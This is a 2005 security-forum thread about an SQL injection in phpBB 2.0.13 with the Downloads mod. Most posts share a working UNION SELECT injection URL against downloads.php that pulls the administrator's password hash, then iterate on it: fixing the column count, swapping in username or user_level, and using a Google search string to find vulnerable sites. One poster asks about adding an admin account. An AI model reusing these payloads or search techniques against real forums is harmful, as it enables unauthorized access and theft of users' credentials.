|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
PhpBB 2.0.13+Downloads Mod Exploit! |
|
Posted: Sat Apr 02, 2005 8:02 pm |
|
|
murdock |
Advanced user |
|
|
Joined: Mar 16, 2005 |
Posts: 54 |
|
|
|
|
|
|
|
Yes!!!!
New SQL injection discovered for phpbb 2.0.13, found by Cerebrums (It's the man who posted the exploit in milw0rm's page, I don't know if it has discovered the bug).
BUT it ONLY works with phpbb forums with the "downloads" mod enabled
There's a perl script to exploit it:
http://www.milw0rm.com/id.php?id=907
Nice exploit, but when tries to fetch the hash from the page sometimes fails, so I prefer to simply paste the injection url in the browser:
Code: |
http://[target]/[phpbb_folder]/downloads.php?cat=-1%20UNION%20SELECT%200,user_password,0,0,0,0,0,0,0%20FROM%20phpbb_users%20WHERE%20user_id=2/*
|
This one give's the admin password hash, simply change the "user_id=" number to get the hash of another user.
Salut! |
|
|
|
|
|
Re: PhpBB 2.0.13+Downloads Mod Exploit! |
|
Posted: Sat Apr 02, 2005 10:08 pm |
|
|
LINUX |
Moderator |
|
|
Joined: May 24, 2004 |
Posts: 404 |
Location: Caiman |
|
|
|
|
|
|
murdock wrote: | Yes!!!!
New SQL injection discovered for phpbb 2.0.13, found by Cerebrums (It's the man who posted the exploit in milw0rm's page, I don't know if it has discovered the bug).
BUT it ONLY works with phpbb forums with the "downloads" mod enabled
There's a perl script to exploit it:
http://www.milw0rm.com/id.php?id=907
Nice exploit, but when tries to fetch the hash from the page sometimes fails, so I prefer to simply paste the injection url in the browser:
Code: |
http://[target]/[phpbb_folder]/downloads.php?cat=-1%20UNION%20SELECT%200,user_password,0,0,0,0,0,0,0%20FROM%20phpbb_users%20WHERE%20user_id=2/*
|
This one give's the admin password hash, simply change the "user_id=" number to get the hash of another user.
Salut! |
second public exploit for 0.13 3 - xpl for exec cmd |
|
|
|
|
Posted: Sun Apr 03, 2005 2:42 am |
|
|
murdock |
Advanced user |
|
|
Joined: Mar 16, 2005 |
Posts: 54 |
|
|
|
|
|
|
|
|
|
|
|
Posted: Mon Apr 04, 2005 11:25 am |
|
|
shai-tan |
Valuable expert |
|
|
Joined: Feb 22, 2005 |
Posts: 477 |
|
|
|
|
|
|
|
Quote: | I think what meant to say was:
second public exploit for 0.13 3 - xpl for exec cmd |
I think what meant to say was:
second public exploit for 2.0.13 3 - exploit for execution command
He is also Implying that there are some only a selected few know. They just arn't nice enough to alert phpbb.com.
Not that it matters because someone will be viewing this post from there sometime soon. They can't view private messages or emails though.....*hint*........ |
|
_________________ Shai-tan
?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds |
|
|
|
Posted: Mon Apr 04, 2005 1:02 pm |
|
|
KingOfSka |
Advanced user |
|
|
Joined: Mar 13, 2005 |
Posts: 61 |
|
|
|
|
|
|
|
wouldn't it be possible to use this exploit to add an admin account to the sql database ? i'm reading some tuts about UNION but i'm pretty noob with sql |
|
|
|
|
Posted: Mon Apr 04, 2005 4:07 pm |
|
|
murdock |
Advanced user |
|
|
Joined: Mar 16, 2005 |
Posts: 54 |
|
|
|
|
|
|
|
Yes, I know what it means, my question was: It exists this exploit? |
|
|
|
|
|
It works |
|
Posted: Tue Apr 05, 2005 9:59 am |
|
|
ToXiC |
Moderator |
|
|
Joined: Dec 01, 2004 |
Posts: 181 |
Location: Cyprus |
|
|
|
|
|
|
google it :
search in google
Quote: | inurl:downloads.php phpbb Forum -> Downloads - Categories |
some search strings banned from google because oof the sandy worm
The Santy worm uses a flaw in the widely used community forum software known as the PHP Bulletin Board (phpBB) to spread, according to updated analyses. The worm searches Google for sites using a vulnerable version of the software, antivirus firm Kaspersky said in a statement.
so you have think about a different way to search in google to find what you want
ToXiC
i.came.to.bring.the.pain.hardcore.chemical. |
|
|
|
|
|
|
|
|
Posted: Tue Apr 05, 2005 10:51 am |
|
|
y3dips |
Valuable expert |
|
|
Joined: Feb 25, 2005 |
Posts: 281 |
Location: Indonesia |
|
|
|
|
|
|
download.php ? is this only in 2.0.13?
hum, but why phpbb offical site dont make some publication about this vuln ?
anyway , is there anyone succeded to do some Proof of concept
/me not ready using 2.0.13, even my forum still using 2.0.12 with patch |
|
_________________ IO::y3dips->new(http://clog.ammar.web.id); |
|
|
|
Posted: Tue Apr 05, 2005 2:26 pm |
|
|
wyk |
Regular user |
|
|
Joined: Mar 15, 2005 |
Posts: 10 |
|
|
|
|
|
|
|
i've run into a forum that had download.php active but the exploit did not work, here's what i've done:
Code: | http://[site-u]/[phpBB folder]/downloads.php?cat=-1%20UNION%20SELECT%200,user_password,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20phpbb_users%20WHERE%20user_id=2/* |
best regards. |
|
|
|
|
|
|
|
|
Posted: Wed Apr 06, 2005 11:21 am |
|
|
shai-tan |
Valuable expert |
|
|
Joined: Feb 22, 2005 |
Posts: 477 |
|
|
|
|
|
|
|
Quote: | i've run into a forum that had download.php active but the exploit did not work, here's what i've done:
Code:
http://[site-u]/[phpBB folder]/downloads.php?cat=-1%20UNION%20SELECT%200,user_password,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20phpbb_users%20WHERE%20user_id=2/*
best regards. |
Im just guessing here this is based on my experince with proof of concepts ,if that one you just gave us is in fact a proof of concept:
You may have to move the nulls around mabye something like this:
http://[site-u]/[phpBB folder]/downloads.php?cat=-1%20UNION%20SELECT%200,NULL,NULL,NULL,
NULL,user_password,NULL,NULL,NULL,NULL%20FROM%20phpbb_users%20
WHERE%20user_id=2 LIMIT 1/*
and add LIMIT 1 just to see what happens
Try changing around the nulls on either side of the user_password part. Just see what happens. You may not need the LIMIT 1 part either. |
|
_________________ Shai-tan
?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds |
|
|
|
|
|
|
|
Posted: Wed Apr 06, 2005 1:05 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
wyk wrote: | i've run into a forum that had download.php active but the exploit did not work, here's what i've done:
Code: | http://[site-u]/[phpBB folder]/downloads.php?cat=-1%20UNION%20SELECT%200,user_password,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20phpbb_users%20WHERE%20user_id=2/* |
best regards. |
Can you see any error messages from mysql/php side? |
|
|
|
|
|
|
|
|
Posted: Wed Apr 06, 2005 2:41 pm |
|
|
wyk |
Regular user |
|
|
Joined: Mar 15, 2005 |
Posts: 10 |
|
|
|
|
|
|
|
waraxe: yes there was a error about number of colums, i guessed that the user table had an additional column(don't know about what).
shai-tan: i'm afraid you're not right, each null stands for some specific column, moving 4 null's before user_password will break everything, and you won't get any hash, or anything else that is good. still i'll do some testing and will tell the results.
--------------(some time later)
shai-tan led me to the idea of changing the user_password for some else column name. i'm sure some of you already did it, but for those who didn't i can tell that it simplifies a litle bit the problem:
you don't have to register into forum, to find out the user names and rights you can change the user_password for username and you know the username, or for user_level to know if you shold bother breaking the hash. |
|
|
|
|
|
|
|
|
Posted: Fri Apr 08, 2005 12:26 pm |
|
|
shai-tan |
Valuable expert |
|
|
Joined: Feb 22, 2005 |
Posts: 477 |
|
|
|
|
|
|
|
WOW thats a first. Ive been used for inspiration. Theres some hope for me yet. |
|
_________________ Shai-tan
?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds |
|
|
|
Posted: Sun Nov 20, 2005 10:28 pm |
|
|
VanVip |
Beginner |
|
|
Joined: Nov 21, 2005 |
Posts: 4 |
|
|
|
|
|
|
|
and how can i get it from xxx.xxxxxxxxxxxxxxxx.xxx, that the "page index" is the forum?..
sorry for my english, i speak spanish
[edit by Shai-tan. Reason: no URL's allowed use "x" for each character] |
|
|
|
|
Posted: Mon Nov 21, 2005 1:10 am |
|
|
shai-tan |
Valuable expert |
|
|
Joined: Feb 22, 2005 |
Posts: 477 |
|
|
|
|
|
|
|
Please read the forum rules. |
|
_________________ Shai-tan
?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds |
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 2
Goto page 1, 2Next
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|